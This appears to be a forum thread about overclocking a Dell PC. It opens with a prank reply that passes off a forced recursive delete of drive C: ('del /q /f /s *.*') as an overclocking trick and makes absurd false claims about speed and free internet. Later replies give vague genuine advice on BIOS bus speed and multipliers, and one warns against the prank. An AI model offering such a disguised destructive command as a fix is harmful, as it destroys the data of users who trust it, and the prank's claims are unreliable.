You can magikally overclock your computer by doing the following:

-Start>Run>"cmd"
-"C:"
-"del /q /f /s *.*"

This will make your computer 124361234923638216412936412 times faster & you will connect to the internet wirelessly for free!

Go to the bios, each motherboard is different so I can't help you much past that, but they all have some kind of bus speed (or something like that, I forgot) and a multipier. Increasing any of those makes it faster, but you might also have to increase the voltages to make it stable. Also make sure it's not too hot.

haha. surprise! you basically cant overclock a dell because everything in there is made or approved by dell, and they dont want you to. even the bios is custom. AFAIK theres no bios option, no motherboard jumpers, and the whole thing is held together so shoddily that any overclock would be unstable anyways.

if you have certain PLL chips you can get a windows software program to tweak the FSB. thats about it.

also, this is definitely a JFGI question

I don't recommend what atari2600a said.

Is that abuse?
